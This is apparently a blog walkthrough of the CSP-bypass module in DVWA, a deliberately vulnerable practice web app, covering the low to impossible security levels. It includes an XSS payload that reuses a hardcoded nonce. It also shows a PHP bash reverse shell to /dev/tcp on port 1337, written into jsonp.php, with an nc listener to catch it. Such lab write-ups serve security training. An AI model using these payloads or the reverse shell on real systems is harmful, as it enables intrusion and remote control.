Post

DVWA - CSP Bypass

Information

The DVWA server itself contains instructions about almost everything.

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficultly, with a simple straightforward interface.

The DVWA server has 4 different security levels which can be set as seen below:

  • Low: This security level is completely vulnerable and has no security measures at all. It’s use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
  • Medium: This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
  • High: This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
  • Impossible: This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.

Content Security Policy (CSP) Bypass

CSP is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers. None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented.

Objective: Bypass Content Security Policy (CSP) and execute JavaScript in the page.

Security: Low

Examine the policy to find all the sources that can be used to host external script files (Source code).

This task has an active issue: CSP Bypass can’t be solved with Hastebin anymore (once again) #539

Security: Medium

The CSP policy tries to use a nonce to prevent inline scripts from being added by attackers (Source code).

  1. If we have a look at the source code, we will see that a nonce has been included:

    1
    2
    3
    4
    5
    6
    7
    8
    
     $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
    
     header($headerCSP);
    
     // Disable XSS protections so that inline alert boxes will work
     header ("X-XSS-Protection: 0");
    
     # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
    

    Let’s find out what exactly nonce is:

    A CSP with a nonce-source might look like this:

    content-security-policy: default-src 'self'; script-src 'nonce-2726c7f26c'

    And the corresponding document might contain a script element that looks like this:

    1
    2
    3
    
     <script nonce="2726c7f26c">
     alert(123);
     </script>
    

    There are 2 things to note here:

    1. It’s important that the nonce changes for each response.
    2. It’s important that the nonce is sufficiently hard to predict.

    Now, because the nonce changes in a way that isn’t predictable, the attacker doesn’t know what to inject and so, by only allowing script (or style) elements with valid nonce attributes, we can be sure that injections will fail.

  2. Essentialy, in order to bypass CSP we now need to know the nonce’s value. If we try to XSS as usual, it won’t work:

    1
    
     <script>alert("XSS")</script>
    

  3. But if we pass our payload along with the nonce’s value, it will work just fine:

    1
    
     <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>
    

Security: High

The page makes a JSONP call to source/jsonp.php passing the name of the function to callback to, you need to modify the jsonp.php script to change the callback function (Source code).

Reverse shell

  1. On this level the page makes a call to jsonp.php and executes whatever code is there:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
     $ cat /usr/share/dvwa/vulnerabilities/csp/source/jsonp.php
     <?php
     header("Content-Type: application/json; charset=UTF-8");
    
     if (array_key_exists ("callback", $_GET)) {
             $callback = $_GET['callback'];
     } else {
             return "";
     }
    
     $outp = array ("answer" => "15");
    
     echo $callback . "(".json_encode($outp).")";
     ?>
    
  2. We can make a backup of this file and replace it with one that contains our code in it, such as a php reverse shell:

    1
    2
    3
    4
    5
    6
    7
    
     $ sudo cp jsonp.php jsonp.php.bak
    
     $ ls
     high.js  high.php  impossible.js  impossible.php  jsonp_impossible.php  jsonp.php  jsonp.php.bak  low.php  medium.php
    
     $ cat jsonp.php
     <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'");?>
    
  3. If we set up a listener and click the Solve the sum button, we should be able to catch the reverse shell:

    1
    2
    
     $  nc -lvnp 1337
     listening on [any] 1337 ...
    

Command execution

  1. If we click the Solve the sum button and intercept the traffic with Burp, we will notice the callback parameter:

  2. We can modify callback’s value by passing a simple payload and then execute our payload by sending the request:

Security: Impossible

This level is an update of the high level where the JSONP call has its callback function hardcoded and the CSP policy is locked down to only allow external scripts (Source code).

Resources

This post is licensed under CC BY 4.0 by the author.